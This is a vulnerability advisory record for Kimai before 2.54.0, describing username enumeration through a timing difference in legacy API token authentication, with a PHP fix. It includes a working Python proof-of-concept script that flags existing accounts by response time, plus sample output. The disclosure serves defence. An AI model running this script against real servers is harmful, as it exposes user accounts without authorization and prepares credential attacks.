{"id":"CVE-2026-80199","aliases":["GHSA-jrc6-fmhw-fpq2"],"url":"https://o3.security/vulnerability/CVE-2026-80199","summary":"Kimai before 2.54.0 Username Enumeration via Timing Oracle","details":"## Details\n\n`src/API/Authentication/TokenAuthenticator.php` calls `loadUserByIdentifier()` first and only invokes the password hasher (argon2id) when a user is returned. When the username does not exist, the request returns roughly 25 ms faster than when it does. The response body is the same in both cases (`{\"message\":\"Invalid credentials\"}`, HTTP 403), so the leak is purely timing.\n\nThe `/api/*` firewall has no `login_throttling` configured, so the probe is unbounded.\n\nThe legacy `X-AUTH-USER` / `X-AUTH-TOKEN` headers are still accepted by default in 2.x. No prior authentication, no API token, and no session cookie are required.\n\n## Proof of concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"Kimai username enumeration via X-AUTH-USER timing oracle.\"\"\"\n\nimport argparse\nimport ssl\nimport statistics\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\nPROBE_PATH = \"/api/users/me\"\nBASELINE_USER = \"baseline_no_such_user_zzz\"\nDUMMY_TOKEN = \"x\" * 32\n\n\ndef probe(url, user, ctx):\n    req = urllib.request.Request(\n        url + PROBE_PATH,\n        headers={\"X-AUTH-USER\": user, \"X-AUTH-TOKEN\": DUMMY_TOKEN},\n    )\n    t0 = time.perf_counter()\n    try:\n        urllib.request.urlopen(req, context=ctx, timeout=10).read()\n    except urllib.error.HTTPError as e:\n        e.read()\n    return (time.perf_counter() - t0) * 1000.0\n\n\ndef median_ms(url, user, samples, ctx):\n    return statistics.median(probe(url, user, ctx) for _ in range(samples))\n\n\ndef load_candidates(path):\n    with open(path) as f:\n        return [ln.strip() for ln in f if ln.strip() and not ln.startswith(\"#\")]\n\n\ndef main():\n    ap = argparse.ArgumentParser(description=__doc__.strip())\n    ap.add_argument(\"-u\", \"--url\", required=True,\n                    help=\"base URL, e.g. https://kimai.example\")\n    ap.add_argument(\"-l\", \"--list\", required=True, metavar=\"FILE\",\n                    help=\"one candidate username per line\")\n    ap.add_argument(\"-t\", \"--threshold\", type=float, default=15.0, metavar=\"MS\",\n                    help=\"median delta over baseline that flags a real user\")\n    ap.add_argument(\"-n\", \"--samples\", type=int, default=15)\n    ap.add_argument(\"--verify-tls\", action=\"store_true\")\n    args = ap.parse_args()\n\n    url = args.url.rstrip(\"/\")\n    ctx = None if args.verify_tls else ssl._create_unverified_context()\n    candidates = load_candidates(args.list)\n\n    baseline = median_ms(url, BASELINE_USER, args.samples, ctx)\n    print(f\"baseline: {baseline:.1f} ms\", file=sys.stderr)\n\n    width = max(len(u) for u in candidates)\n    print(f\"{'username':<{width}}  {'median':>8}  {'delta':>8}  verdict\")\n    print(\"-\" * (width + 30))\n    for user in candidates:\n        m = median_ms(url, user, args.samples, ctx)\n        delta = m - baseline\n        verdict = \"REAL\" if delta > args.threshold else \"-\"\n        print(f\"{user:<{width}}  {m:>6.1f}ms  {delta:>+6.1f}ms  {verdict}\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nUsage:\n\n```\n$ ./timing_oracle.py -u https://target -l users.txt -n 15\n[*] calibrating baseline with 15 samples\n[*] baseline median: 37.7 ms\n[*] probing 13 candidates (n=15, threshold=15.0 ms)\n\nusername                        median     delta  verdict\n----------------------------------------------------------\nuser1@example.com               64.2ms   +26.5ms  REAL\nuser2@example.com               72.4ms   +34.7ms  REAL\nuser3@example.com               70.0ms   +32.3ms  REAL\ntester.nonexistent@example.com  37.2ms    -0.5ms  -\nadmin                           63.6ms   +25.9ms  REAL\nadministrator                   38.2ms    +0.4ms  -\nroot                            37.3ms    -0.4ms  -\ntest                            33.6ms    -4.1ms  -\ndemo                            38.2ms    +0.5ms  -\nkimai                           37.0ms    -0.7ms  -\nnonexistent_user_aaa            38.1ms    +0.4ms  -\nnonexistent_user_bbb            37.5ms    -0.2ms  -\nnonexistent_user_ccc            38.4ms    +0.7ms  -\n```\n\nIn this run, four real accounts were identified out of thirteen candidates with no false positives or false negatives. Probing took roughly five seconds per username at fifteen samples each.\n\n## Fix\n\nIn `TokenAuthenticator::authenticate()`, run the password hasher against a fixed dummy hash when the user is not found, so the response time does not depend on user existence:\n\n```php\nprivate const DUMMY_HASH = '$argon2id$v=19$m=65536,t=4,p=1$ZHVtbXlzYWx0ZHVtbXk$YQ4N4lU0Sg9hRT2KhRGwLp7y4VZqkM5KQ8wYJ5HtoX0';\n\ntry {\n    $user = $this->userProvider->loadUserByIdentifier($credentials['username']);\n} catch (UserNotFoundException $e) {\n    $this->passwordHasherFactory\n        ->getPasswordHasher(User::class)\n        ->verify(self::DUMMY_HASH, $credentials['password']);\n    throw $e;\n}\n```\n\nThe dummy hash must use the same algorithm and parameters as real user hashes so that `verify()` consumes equivalent CPU. Generate it once with `password_hash('dummy', PASSWORD_ARGON2ID)` and pin it as a constant.\n\n## Relevance\n\nThe practical security impact is very limited. The response body and HTTP status are identical, and the only observable difference is a relatively small timing gap, which is even less relevant when the requests is executed against a network instead of a local installation. In addition, [this authentication method has already been deprecated since April 2024 and is scheduled for removal after Q2 2026](https://www.kimai.org/en/blog/2026/removing-api-passwords), so the issue only affects a legacy mechanism that is already being phased out. ￼","published":"2026-08-25T23:19:05.166Z","modified":"2026-10-10T02:31:00.533151947Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Packagist","name":"kimai/kimai","fixedVersion":"2.54.0"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/80xxx/CVE-2026-80199.json"},{"type":"ADVISORY","url":"https://github.com/kimai/kimai/security/advisories/GHSA-jrc6-fmhw-fpq2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-80199"},{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/kimai-before-2.54.0-username-enumeration-via-timing-oracle"},{"type":"PACKAGE","url":"https://github.com/kimai/kimai"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-10T02:31:00.533151947Z"}}